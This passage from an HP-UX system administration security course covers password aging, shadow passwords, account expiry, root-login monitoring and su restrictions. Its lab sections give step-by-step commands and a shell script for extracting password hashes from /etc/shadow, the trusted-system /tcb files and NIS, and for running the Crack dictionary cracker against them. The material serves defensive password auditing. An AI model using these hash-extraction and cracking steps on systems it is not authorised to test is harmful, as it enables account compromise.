any options. When regular users run the passwd command, they must enter their current
password before they can choose a new one. This restriction doesn’t apply to the system
administrator.

# passwd

Resetting a User's Password

If a user forgets his or her password, the administrator can reset the user’s password by
issuing the passwd command with the user's username as an argument. The system will
prompt the administrator to enter the new password twice.

# passwd user1

H3541S D.02 5-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

Setting a Null Password

Some administrators choose to set a null password on newly created user accounts. Use the
-d passwd option to delete a user's password. Deleting a user's password in this manner
will allow the user to log in by simply hitting return when prompted for their password. This
configuration is not recommended!

# passwd -d user1

Forcing a Password Change at Next Login

You may wish to force new users to change their assigned password at next login. To force a
password change at next login, use the -f option. This command appends a ",.." to the
user's password field in /etc/passwd. Note that this option disables any previously
configured password aging for the user's account.

# passwd -f user1

Disabling a User Account

If a user plans to be out of the office for an extended period of time, or if you suspect that
their account may have been compromised, consider locking or disabling the user's account
using the -l option. Disabling an account simply replaces the user's password with an "*"
in the /etc/passwd file.

# passwd -l user1 disable user1's account

# passwd user1 re-enable user1's account by choosing a new password

http://education.hp.com 5-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–10. SLIDE: Aging Standard UNIX Passwords

Aging Standard UNIX Passwords

# passwd -n 7 -x 28 user1
# passwd -s user1
# passwd -sa

Password Password Password

Change Change Change
Prohibited Allowed Required!

t=0 days t=7 days t=28 days

Student Notes
To better protect the system, many administrators force users to change their passwords on a
regular basis via password aging. Thus, even if a hacker were to obtain a copy of your
/etc/passwd file, passwords gleaned from that file would only be useful for a short period
of time.

Password aging may be enabled via the /usr/bin/passwd command:

# passwd -n 7 -x 28 user1

The -x option defines the maximum number of days a user is allowed to retain a password.
In the example on the slide, user1 will be forced to change his or her password every 28 days.
Although parameter must be specified in days, passwd rounds up to the nearest week.
Trusted systems, which are described later in the course, offer day-level granularity for
password aging.

H3541S D.02 5-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

The -n option defines the minimum number of days a user is required to retain a password
after a password change. This, too, is rounded to the nearest week. In the example on the
slide, user1 must retain each new password for a minimum of 7 days. This prevents a user
from changing their password, then immediately reverting to their previously used password
each time their password expires.

Both of these parameters should be specified in multiples of 7 days.

You can check the password status of a user's account with the -s option.

# passwd -s user1

This generates a one-line summary indicating when the minimum and maximum password
aging parameters, as well as the week when the password was last changed. To view the
aging status of all user account, execute:

# passwd -sa

Password Aging Fields in the /etc/passwd File

On a non-shadowed system, password aging is put in effect for a particular user if the user's
encrypted password in the passwd file is followed by a comma and a non-null string of
characters. This string defines the age used to implement password aging. The characters
that are used to represent digits are as follows:

Characters Number of Weeks

. → 0
/ → 1
0-9 → 2-11
A-Z → 12-37
a-z → 38-63

The first character of the age, M, denotes the maximum number of weeks for which a
password is valid. A user who attempts to login after the password has expired is forced to
supply a new one. The next character, m, denotes the minimum period in weeks that must
expire before the password can be changed. The remaining characters define the week
(counted from the beginning of 1970) when the password was last changed (a null string is
equivalent to zero).

If m = M = 0 the user is forced to change the password at the next log in (and the age
disappears from the password entry). If m > M (the string ./), only a superuser (not the user)
can change the password.

Although these parameters may be set manually in the /etc/passwd file, it's much easier to
use the /usr/bin/passwd command or SAM!

http://education.hp.com 5-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–11. SLIDE: Aging Shadowed Passwords

Aging Shadowed Passwords

# passwd -n 7 -x 180 –w 10 user1

# passwd -s user1
# passwd -sa

Password Password Password Password

Change Change Warning Change
Prohibited Allowed Appears Required!

t=0 days t=7 days t=170 days t=180 days

Student Notes
The passwd options required to enable password aging on a system using shadow passwords
are very similar to the standard UNIX passwd aging options:

-n Sets the minimum number of days between password changes.

Although parameter must be specified in days, passwd rounds up to the nearest
week.

-x Sets the maximum number of days allowed between password changes.

Although parameter must be specified in days, passwd rounds up to the nearest
week.

However, there is one additional option. If you include the –w option, the system will display
a login warning message before the user’s password expires. The number of days is
configurable.

On a shadow password system, the password aging information is stored in the

/etc/shadow file. See the /etc/shadow file slide earlier in the chapter for details.

H3541S D.02 5-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–12. SLIDE: Expiring Shadowed Password Accounts

Expiring Shadowed Password Accounts

# useradd –e “1/1/04” user1 or…

# usermod –e “1/1/05” user1

Account Account
Enabled Disabled

today 1/1/2004

Student Notes
If you have contractors, or others that need short-term accounts on our system, it might be
beneficial to configure expiration dates on your user accounts. You can define an expiration
date when the account is first configured via the useradd –l option.

# useradd –e “1/1/04” user1

If necessary, you can always extend the account’s lifetime later via the usermod command.

# usermod –e “1/1/05” user1

After the specified expiration date, the account will no longer be usable. This feature only
works on shadow password systems.

http://education.hp.com 5-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–13. SLIDE: Setting Default Password Restrictions

Setting Default Password Restrictions

Modify the default password restriction policies to improve security.

# vi /etc/default/security

MIN_PASSWORD_LENGTH=
PASSWORD_MIN_UPPER_CASE_CHARS=
PASSWORD_MIN_LOWER_CASE_CHARS=
PASSWORD_MIN_DIGIT_CHARS=
PASSWORD_MIN_SPECIAL_CHARS=
PASSWORD_MAXDAYS=
PASSWORD_MINDAYS=
PASSWORD_WARNDAYS=

Student Notes
In order to ensure that users choose secure passwords, HP-UX 11i provides a variety of
password restriction rules that may be configured in /etc/default/security. Simply
define one variable per line.

MIN_PASSWORD_LENGTH=N

New passwords must contain at least N characters. For untrusted systems, N can be
any value from 6 to 8. For trusted systems, N can be any value from 6 to 80. Default
value: MIN_PASSWORD_LENGTH=6

PASSWORD_MIN_UPPER_CASE_CHARS=N

New passwords must contain a minimum of N upper-case characters. This only

applies if PHCO_24606 is installed on your system.

PASSWORD_MIN_LOWER_CASE_CHARS=N

New passwords must contain a minimum of N lower-case character. This only

applies if PHCO_24606 is installed on your system.

H3541S D.02 5-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

PASSWORD_MIN_DIGIT_CHARS=N

New passwords must contain a minimum of N digit characters are required in a

password when changed. This only applies if PHCO_24606 is installed on your
system.

PASSWORD_MIN_SPECIAL_CHARS=N

Specifies that a minimum of N special characters are required in a password when

changed.

PASSWORD_MAXDAYS=N

If the ShadowPassword bundle is installed, this parameter controls the default

maximum number of days that passwords are valid. This parameter applies only to
local users and does not apply to trusted systems. The passwd -x option can be
used to override this value for a specific user.

PASSWORD_MINDAYS=N

If the Shadow Password bundle is installed, this parameter controls the default
minimum number of days before a password can be changed. This parameter applies
only to local users and does not apply to trusted systems. The passwd -n option can
be used to override this value for a specific user.

PASSWORD_WARNDAYS

If the ShadowPassword bundle is installed, this parameter controls the default

number of days before password expiration that a user is to be warned that the
password must be changed. This parameter applies only to local users on Shadow
Password systems. The passwd -w option can be used to override this value for a
specific user.

http://education.hp.com 5-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–14. SLIDE: Cracking Passwords

Cracking Passwords

1 root:qerqwhju7il93e:...
Crack user1:xxsad870sdfsq:...
Dictionaries user2:fgetertewrter:...

crypt()
System Call
3

Guess
5 Again!
Does the result match the second field
4 in the user's /etc/passwd entry?

Password
No Yes Cracked!

Student Notes
Educating your users about the importance of secure passwords and implementing password
aging will go a long way towards improving your system security. You can verify exactly how
secure your users' passwords are by running the contributed software tool, Crack.

Crack encrypts and compares a comprehensive dictionary of commonly-used passwords

against the encrypted passwords in your /etc/passwd file. Crack identifies accounts with
null passwords, "Joe" accounts (where the password is a trivial variation on the username),
and accounts with plain English passwords almost immediately. Given several hours on a
fairly quiet system, though, Crack will oftentimes successfully "crack" surprisingly
complicated passwords, too! Note that Crack doesn't actually "crack" passwords; it simply
repeatedly guesses passwords until it finds a match.

Crack uses the following procedure to guess user passwords:

1. Use a series of dictionaries to generate a list of commonly used passwords.

2. Obtain the list of salt strings used in the /etc/passwd file.

3. Pass each dictionary entry/salt combination to the crypt system call.

H3541S D.02 5-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

4. Compare the result against the ciphertext in the /etc/passwd file.

5. If a match is found, consider the user's password cracked. Otherwise, proceed on to the
next dictionary entry.
After running Crack, view the list of cracked accounts and ask the account owners to change
their passwords. Some Administrators modify Crack so the program automatically locks
cracked accounts, or forces a password change at next login.

http://education.hp.com 5-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–15. TEXT PAGE: Running Crack

The lab exercise at the end of the chapter explains how to obtain and compile Crack for HP-
UX. This page summarizes the commands and options that are commonly used to run Crack.
These instructions assume that you are sitting at the top of the Crack directory structure.

Before running Crack for the first time, you must create and compress the Crack dictionaries
via these two commands:

# ./Crack -makeonly
# ./Crack -makedict

Choose a password file to crack. You may copy a password file from another system to your
/tmp directory, redirect the output from ypcat passwd to a temporary file if you are an
NIS client, or simply attempt to crack your own /etc/passwd file. If you are using an
HP-UX "trusted" or “shadow” system you must use a shell script to generate a password file
to Crack. See the sample script at the end of these notes. After choosing a password file,
execute the crack command as suggested below. Crack executes as a background process.
Use the -nice option to run Crack with nice value 10 so it doesn't hog the CPU.

# ./Crack -nice 10 /etc/passwd

By default, Crack will simply record the cracked accounts in a series of temporary files in the
Crack directory. When executed with the -mail option, Crack will automatically invoke the
./scripts/nastygram script for each cracked user account. By default, this script simply
sends an email to the offending users. You may wish to add passwd -f $username or
passwd -l $username commands to the script to force the users to change their
passwords at next login, or even lock their accounts.

# vi ./scripts/nastygram
# ./Crack -nice 10 -mail /etc/passwd

You can verify that Crack is running by checking the process table. You should see several
Crack related processes.

# ps -ef | grep -i crack

It may take hours for Crack to fully analyze your password file. To view an update of Crack's
progress over time, execute the Reporter command. This command may be executed
repeatedly.

# ./Reporter Dump a report to the screen

# ./Reporter -quiet Don't report errors or disabled accounts

You may temporarily pause crack by creating an empty file called GOTO-SLEEP. (It may take
a couple minutes before Crack notes the existence of the file).

# touch ./GOTO-SLEEP Pause Crack

# rm -f ./GOTO-SLEEP Allow Crack to continue

H3541S D.02 5-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

The following two commands terminate the Crack processes, and remove Crack's temporary
and log files:

# ./scripts/plaster
# make tidy

Extracting a Crackable Password File from an NIS Server

If you use NIS for user authentication, you will need to either run Crack on the NIS master
server, or create a temporary password file on any client via ypcat.

# ypcat passwd > /tmp/passwd

Extracting a Crackable Password File from /etc/shadow

If your passwords are stored in /etc/shadow, your will have to create a temporary
password file in the standard /etc/passwd file format in order to run Crack. The following
awk command should do the trick:

# awk 'BEGIN {n=101}

{n=n+1;
FS=":"; OFS=":";
print $1, $2, n, 20, "" , "/dev/null", "/usr/bin/false"}’ \
</etc/shadow >/tmp/passwd

Extracting a Crackable Password File from a Trusted System

Many administrators use the HP-UX "trusted system" functionality to improve system
security. Converting to a trusted system moves your user passwords out of the
/etc/passwd file, into a more secure database structure under the /tcb directory. If you
wish to run Crack on a trusted system, you must re-consolidate the password and user
account information in a temporary file structured in the standard UNIX /etc/passwd file
format. A script for accomplishing this can be found in /labs/scripts/tcbextract and
is included below:

#!/usr/bin/sh

#########################################################
#
# merges the passwords from /tcb/files/auth/*/* with
# users' entries in the /etc/passwd file to create a
# password file that may be checked with Crack.
#
#########################################################

###
### choose a file name to store the passwd entries in
###

read outfile?"choose a name for your temporary password file: "

###
### use a for loop to loop through all of the /tcb database
### files containing password information.
###

http://education.hp.com 5-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

for filename in /tcb/files/auth/*/*

do

###
### extract the current username from the current /tcb filename
###

username=$(basename $filename)

###
### extract the current user's UID from /etc/passwd
###

uid=$(awk -v username=$username 'BEGIN {FS=":"}

$1 == "u_pwd" {print $2}' $filename)

###
### extract the u_pwd entry from the current /tcb file
###

password=$(awk 'BEGIN {RS=":"; FS="="}

$1 == "u_pwd" {print $2}' $filename)

###
### extract the user's gecos entry from /etc/passwd
###

gecos=$(awk -v username=$username 'BEGIN {FS=":"}

$1 == username {print $5}' /etc/passwd)

###
### build and print a minimal passwd entry for the user
###

echo "$username:$password:$uid::$gecos::"

done>$outfile

H3541S D.02 5-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–16. SLIDE: Password Security: Best Practices

Password Security: Best Practices

Educate your users about the importance of good passwords.

Verify that all application passwords are stored in encrypted form.
Use Crack to check your users' passwords regularly.
Consider implementing shadow passwords to improve password security.
Consider converting to a "trusted system" to improve password security.
Consider implementing one-time passwords.
Use password aging to ensure frequent password changes.
Define user a user account lifetime for every temporary user account.

Student Notes
The following "Best Practices" will greatly improve password security on your systems:
• Educate your users about the importance of good passwords.

Make sure your users realize that a poorly chosen password jeopardizes the entire
system. Make sure they are aware of your organization's password guidelines and agree
to abide by them. Some administrators require new users to read and sign a copy of their
organization's security policy.

• Verify that all application passwords are stored in encrypted form.

Some applications and games have their own password mechanisms and files. Since
users inevitably recycle passwords, make sure that your applications store their
password information in an encrypted form. Otherwise, hackers may attempt to use
cleartext passwords from your application password file to access user accounts on your
system.

http://education.hp.com 5-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

• Use Crack to check your users' passwords regularly.

You need to know if any of your users' passwords are vulnerable. Crack is a great tool for
accomplishing this!

• Consider implementing shadow passwords to improve security.

Since /etc/passwd is world-readable, any user can potentially run Crack. HP’s shadow
password product stores your users’ passwords in the much more secure /etc/shadow
file.

• Consider converting to a "trusted system" to improve password security.

HP's trusted system functionality provides even greater password security than shadow
passwords. Trusted systems support passwords up to 40 characters in length, and
system-generated passwords, too. This functionality will be covered in detail later in the
course.

• Consider implementing one-time passwords.

One time passwords provide perhaps the most secure mechanism for managing user
logins -- using this approach, every user's password changes after every login session.
Users carry a credit-card-like device that displays a constantly changing numeric
password. RSA Security's SecurID card is one of the most commonly used one-time
password solutions. Check their website, http://rsasecurity.com for more
information.

• Use password aging to ensure frequent password changes.

If you are using password aging and a hacker obtains a copy of your password file,
cracked passwords from the password file will only be effective until the next password
expiration date.

• Define user a user account lifetime for every temporary user account.

Defining a user account lifetime prevents dormant accounts from compromising your
system security.

H3541S D.02 5-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–17. LAB: Securing User Passwords

Part I: Encrypting Passwords

The UNIX operating system doesn't include a command to create an encrypted password
from a given ASCII password. The program to accomplish this task can be easily written via
a C program, as shown below.
1. Create the C source code file for the program. If you wish, you can simply copy the
program from the /labs/scripts directory.
# cp /labs/scripts/encrypt.c ~/encrypt.c
# vi ~/encrypt.c
main()
{
char seed[3], password[25];
char *result;
printf("Please enter the password to be encrypted: ");
scanf("%s", password);
printf("Please enter the two digit seed: ");
scanf("%s", seed);
result = crypt(password, seed);
printf("\n The encrypted password is %s\n", result);
}
2. Compile the encrypt.c source code:

# gcc ~/encrypt.c -o ~/encrypt

3. Test the executable.

# ~/encrypt
Please enter the password to be encrypted: class1
Please enter the two digit seed: fn
The encrypted password is fnnmD.DGyptLU
4. Try running the program several times. Enter the same ASCII password each time, but
use a different seed with each iteration. Are the resulting encrypted passwords the same
or different? Why is this advantageous?

http://education.hp.com 5-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

Part II: Implementing Shadow Passwords

1. Verify that the ShadowPassword bundle is installed on your system.

# swlist ShadowPassword

2. Run pwconv to create the /etc/shadow file.

a. What is in the password field in /etc/passwd now?

b. What fields are populated in /etc/shadow?

c. What are the permissions on /etc/shadow? Why is this significant?

Answer:

3. Will useradd add new users be added to the /etc/passwd file, the /etc/shadow file,
or both? Is the passwd command shadow aware? Try it! Use the useradd command to
create an account for user25, then use the passwd command to set a null password for
the user and force a password change at next login. Then check the /etc/passwd and
/etc/shadow files to see what happened.

Answer:

4. Enable shadow password aging on the user1 account.

a. Ensure that the password is changed at least twice per year.

b. Ensure that users wait at least one week between password changes.

c. Provide a one-week warning before the user’s password expires.

Answer:

5. Before you continue to Part III, revert to a non-shadowed password file.

Answer:

H3541S D.02 5-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

Part III: Set Up and Execute the Crack Program

1. Before running crack, use the /labs/scripts/spoc script to change a few of your
users' passwords:

# /labs/scripts/spoc -v passwords

2. Download a copy of the Crack source code from

ftp://coast.cs.purdue.edu/pub/tools/unix/pwdutils/crack/ to the /tmp
home directory. For the purpose of this class, you can simply copy the gzip file from
/labs.

# cp /labs/crack/crack*.tar.gz /tmp

3. Since this is a dangerous program, we will install it in the /secure file system rather
than /usr/local. cd to /secure, then unzip and untar the file.

# cd /secure
# gzip –d /tmp/crack*.tar.gz
# tar –xvf /tmp/crack*.tar
4. cd to the /secure/c50a directory for the remainder of the lab.

# cd /secure/c50a

5. Two files must be edited in order for the program to compile properly. Edit ./Crack
first.

# vi ./Crack

First, comment out the “vanilla unix” cc lines, and comment in the gcc lines.

change line 45: #CC=cc

change line 46: #CFLAGS="-g -O $C5FLAGS"
change line 47: #LIBS=-lcrypt

Comment in, and export, the lines for the gcc compiler (note that you will have to add
the export command!):

change line 50: export CC=gcc

change line 51: export CFLAGS="-g -O2 -Wall $C5FLAGS"
change line 52: export LIBS=-lcrypt

http://education.hp.com 5-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

6. The second file that needs to be modified is ./src/libdes/Makefile. There, too, comment
out the cc lines and comment in the gcc lines.

change line 38: #CC=cc

change line 39: #CFLAGS="-O $(OPTS) $(CFLAG)"

Comment in the lines for the gcc compiler:

change line 41: CC=gcc

change line 42: CFLAGS= -O4 -fomit-frame-pointer -funroll-loops $(OPTS)

7. The third file we need to modify is ./scripts/mkcracker. (Add a –e on the make

command.)

change line 23: (cd ../libdes ; make -e) || exit 1

8. Create a directory for the binaries.

# mkdir –p run/bin/hp-ux-b-9000

9. Make the crack binaries.

# ./Crack –makeonly

10. Make the crack dictionaries.

# ./Crack –makedict

11. Read the crack documentation.

# more manual.txt

12. Execute the Crack program. Let Crack run for awhile before proceeding to the next
step.

# ./Crack –nice 10 /etc/passwd

13. View the results of the Crack program. Note that you may reissue the Reporter
command as many times as you wish to track crack’s progress over time.

# ./Reporter -quiet

14. Left to its own devices, Crack will run for hours, attempting to guess your users'
passwords. Unfortunately, Crack devours a huge amount of CPU time in the process.
You may wish to temporarily pause crack by doing the following:

# top # note crack's current CPU time

# touch ./GOTO-SLEEP # puts crack process in a "sleep" state
# top # watch crack's CPU time drop!

H3541S D.02 5-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

15. If possible, let Crack run over night, then run ./Reporter again. Before moving on to
the next chapter, halt Crack by typing:

# ./scripts/plaster
# make tidy

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com 5-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

H3541S D.02 5-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 6 — How the Hacker Gains Privileges
(Part 2)
Objectives
Upon completion of this module, you will be able to do the following:
• List seven guidelines for securing user accounts.

• Configure the root account securely.

• Configure /etc/securetty to limit login access to the root account.

• Configure restricted root access for operators via the restricted SAM builder.

• Configure restricted root access for operators via sudo.

• Configure a shared directory via group permissions and the /etc/group file.

• Configure a secure guest account with a restricted shell.

• Describe the dangers posed by dormant accounts.

http://education.hp.com 6-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–1. SLIDE: The Hacker's Process: Gain User Access (Part 2)

The Hacker’s Process:

Gain User Access (Part 2)

Step 1 Step 2 Step 3 Step 4

Gather Get access Gain user Perform
information to the system access to the unauthorized
about the target system activities
system

UNIX
Login:

Student Notes
In the previous chapter we learned the importance of choosing secure passwords to secure
your user accounts. However, poor passwords aren't the only weakness that may allow
hackers access to your system. Improper permissions on user home directories can be just
as dangerous. Dormant user accounts can pose a major threat to your system's security.
This chapter addresses these, and many more user account security issues.

H3541S D.02 6-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–2. SLIDE: Securing User Accounts: Guidelines

Securing User Accounts: Guidelines

Regularly monitor the output from last, lastb, and who for unusual logins.
Ensure that all users with accounts have a legitimate need to access the system.
Ensure that no two users are assigned or share the same user account.
Ensure that no two regular user accounts share the same UID.
Ensure that all accounts have secure passwords that change on a regular basis.
Ensure that all user home directories have appropriate permissions set.
Ensure that all users are aware of their role in your organization’s security policy.

Student Notes
As you are configuring and managing user accounts on your system, be sure to:

• Regularly monitor the output from last, lastb, and who for unusual login activity.
• Ensure that all users with accounts on your system have a legitimate, current need to
access the system.
• Ensure that no two users are assigned or share the same user account.
• Ensure that no two regular user accounts share the same UID.
• Ensure that all accounts are protected by secure passwords that are changed on a regular
basis.
• Ensure that all user home directories have appropriate permissions set (755, 750, or 700).
• Ensure that all users are aware of their role in your organization’s security policy.

Ignoring any one of these guidelines may jeopardize your system's security!

http://education.hp.com 6-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–3. SLIDE: Dangerous Accounts

Dangerous Accounts

This machine looks like an easy

target for hackers like me ...

/etc/passwd
root:xxx:0:1001:Co-Admins Hubert and Cleo:/:/sbin/sh
operator:xxx:0:1001:operators:/:/sbin/sh
guest::101:1001:visiting guests:/home/guest:/usr/bin/sh
user1:xxx:103:1001:left company in 1995:/home/user1:/usr/bin/sh
user2:xxx:104:1001:on leave til January:/home/user2:/usr/bin/sh
accounts:xxx:105:1001:accounting dept.:/home/accounts:/usr/bin/sh

Student Notes
Unfortunately, the guidelines introduced on the previous page are easier to state than to
implement. Can you identify the security problems posed by each of the user accounts in the
/etc/passwd file on the slide?

The remainder of this chapter will present solutions to some typical user account security
dilemmas that are commonly faced by UNIX System Administrators today.

H3541S D.02 6-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–4. SLIDE: The root Account

The root Account

If only I knew the root password -- then I

could cause some REAL damage!

Don’t share the root password unless absolutely necessary!

Don’t use “/” as root’s home directory.
Monitor the output from last -R for after-hours or unusual root logins.
Monitor the output from lastb -R for repeated failed root logins.
Monitor /var/adm/sulog for suspicious su-to-root attempts.
Use logins -d to check for unauthorized accounts with UID 0.

Student Notes
User accounts with UID 0 ("root" users) have almost unlimited access to files, directories,
and other resources on a UNIX system:

• Root may access or modify any file or directory, regardless of file permissions.
• Root may execute any executable or script on the system, regardless of file permissions.
• Root may access or modify any user account or password on the system.
• Root may access or modify any device on the system.
• Root may modify the system or network configuration.

This unfettered access to system resources makes the root account a prime target for
hackers. Thus, the root account is the first account you should consider securing in the
/etc/passwd file. The slide highlights some basic root account security measures.

• Don’t share the root password unless absolutely necessary!

Anyone with root access could potentially cause serious problems on your system either
maliciously or inadvertently. Granting multiple users root access exponentially increases
the possibility of these problems occurring. At a minimum, you should verify that all

http://education.hp.com 6-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

users with root access are well-versed in UNIX administration and your organization’s
security policies. The next few slides suggest some strategies for allowing operators and
co-administrators controlled root access.

• Don’t use “/” as root’s home directory

The system administrator’s home directory will likely contain sensitive files that normal
users (not to mention hackers!) probably shouldn’t have access to. Copies of log files,
administrative shell scripts, security tools, correspondence with users, and policy and
procedure files could all prove useful to hackers. Placing any or all of these in the world-
readable / directory is a recipe for disaster. Create a home directory for root in
/home/root or /root and ensure that only root has access to that directory:

# mkdir /root
# chown root:sys /root
# chmod 700 /root
# cp /.profile /.shrc /root
# usermod –d /root root

• Monitor the output from last for after-hours or unusual root logins

Check the output from the last command daily for after-hours or unexpected root logins:

# last –R root

The -R option also shows which terminal or host each user logged in from. Watch for
root logins from unusual hostnames. This may be your first indication that a hacker has
gained access to your system. Note, however, that the last output is not infallible – a
clever hacker can fairly easily modify the /var/adm/wtmp file that last uses to
determine who logged in when!

• Monitor the output from lastb for repeated failed root logins

The lastb command reports failed login attempts. Repeated failed attempts to log into
any account is worrisome, but repeated failed attempts to log into the root account
suggests that a hacker may be attempting to crack the root password. You may use the
script shown at the end of the notes for this slide to automatically monitor failed root
logins, or simply manually execute the lastb command:

# lastb –R root

The lastb command reads the /var/adm/btmp file. The hacker can also modify this
file to erase any evidence of attempted intrusions!

• Monitor /var/adm/sulog for suspicious su-to-root attempts

The su command provides hackers with an alternative gateway to the root account. The
su command logs access attempts to the /var/adm/sulog file rather than wtmp and
btmp. This file, too, should be checked regularly for unusual activity. To extract root su
attempts from the file, type:

H3541S D.02 6-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

# grep -- “-root” /var/adm/sulog

The fourth field in the file indicates whether the attempt succeeded (“+”) or failed (“-“).

It isn’t uncommon to see a few failed su attempts in the sulog file since (a)
administrators sometimes mistype the root password, and (b) users sometimes forget to
specify a username argument when they run su. If you see multiple failed su attempts,
though, you should investigate!

• Use logins –d to check for unauthorized accounts with UID 0

There’s nothing magical about username root. In fact, any user account with UID 0 is
granted root privileges. Thus, any non-root accounts with UID 0 deserve some
investigation. The following command will generate a list of all duplicate UIDs in
/etc/passwd, including duplicate UID 0 entries:

# logins –d

• Automatically monitoring for failed root login attempts

Monitoring last, lastb, and sulog on a daily basis can be an overwhelming task. You
may wish to use a shell script to automate the task. In fact, you could even schedule a
shell script similar to the one below to run on a regular basis to watch for repeated root
login attempts:

#!/usr/bin/sh

######################################################
#
# counts the number of failed root login attempts
# in /var/adm/btmp and /var/adm/sulog. once the
# value defined in the LIMIT variable below is
# reached, the program automatically disables the
# root account.
#
######################################################

###
### the LIMIT variable defines the max number of
### failed root logins that will be tolerated before
### the account is locked.
###

LIMIT=10

###
### extract all failed root logins from /var/adm/btmp
### and add them to /tmp/failedrootlogins
###

http://education.hp.com 6-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

lastb root \
| awk '$1 == "root" {print}' \
> /tmp/failedrootlogins

###
### extract all failed root logins from /var/adm/sulog
### and add them to /tmp/failedrootlogins.
###

cat /var/adm/sulog \
| awk '$4 == "-" && $6 ~ /-root$/ {print}' \
>> /tmp/failedrootlogins

###
### print the number of failed root logins.
###

numfailed=$(cat /tmp/failedrootlogins|wc -l)

print "$numfailed failed root logins"

###
### if the number of failed logins exceeds
### the threshold defined in the variable
### LIMIT, then immediately disable the
### root account. consider this portion
### of code carefully. you may wish to simply
### mail a message or dump a warning to the
### console instead of disabling the account.
###

if [[ $numfailed -ge $LIMIT ]]; then

print "limit exceeded. disabling root."
passwd -l root
fi

H3541S D.02 6-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–5. SLIDE: Multiple root Accounts (Solution #1)

Multiple root Accounts (Solution #1)

I’ve got two co-administrators for my system.

How can I keep track of who did what when?

Only allow direct root logins on the console.

# vi /etc/securetty
console
# chmod 600 /etc/securetty
Create a special group for users that need su-root privileges.
# groupadd wheel
# usermod –G wheel darren
# vi /etc/default/security
SU_ROOT_GROUP=wheel

Require admins to su to root from their personal account.

login: darren
password: ******
$ su root
Monitor /var/adm/sulog to see who su’ed to root when.
SU 01/01 09:00 + 0 darren-root
SU 01/03 12:15 - 0 hubert-root

Student Notes
The previous slide noted that only one user should be given the root password. However,
many machines these days have two or more co-administrators. This makes it very difficult
to implement any measure of accountability if there is a security breach. HP-UX provides a
number of different solutions to this problem.

The solution shown on this slide prevents direct logins to the root account via login or
telnet. This forces the co-administrators to log into the system via their personal accounts
first, then su to the root account. The sulog file, then, records which users su’ed to the
root account when.

The SU_ROOT_GROUP entry in /etc/default/security was first introduced in HP-UX

11i. Only users in the group specified by this variable are allowed to su to root. The wheel
group is often used for this purpose.

Note that the slide shows a very minimal /etc/securetty file. You may allow direct root
logins on other terminals or modems by adding their device file names (sans /dev) to
/etc/securetty.

http://education.hp.com 6-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

A Note About CDE

Unfortunately, CDE’s dtlogin utility doesn’t reference the /etc/securetty file. In order
to prevent direct UID 0 login access in CDE, you will need to do the following:

If the file /etc/dt/config/Xstartup doesn’t already exist on your system, copy it from
/usr/dt/config/Xstartup:

# cp –i /usr/dt/config/Xstartup /etc/dt/config/Xstartup

Next, add the following lines of code to the end of the new Xstartup script:

if [ $(id –u) = 0 ]; then

exit 1
fi

A Note about FTP

FTP doesn’t read the /etc/securetty file either. You may wish to prevent direct FTP
access to the root account by adding root to /etc/ftpd/ftpusers (/etc/ftpusers
prior to HPUX 11.x). Users listed in this file aren’t allowed FTP access.

# vi /etc/ftpd/ftpusers
root

H3541S D.02 6-10 http://education.hp.com

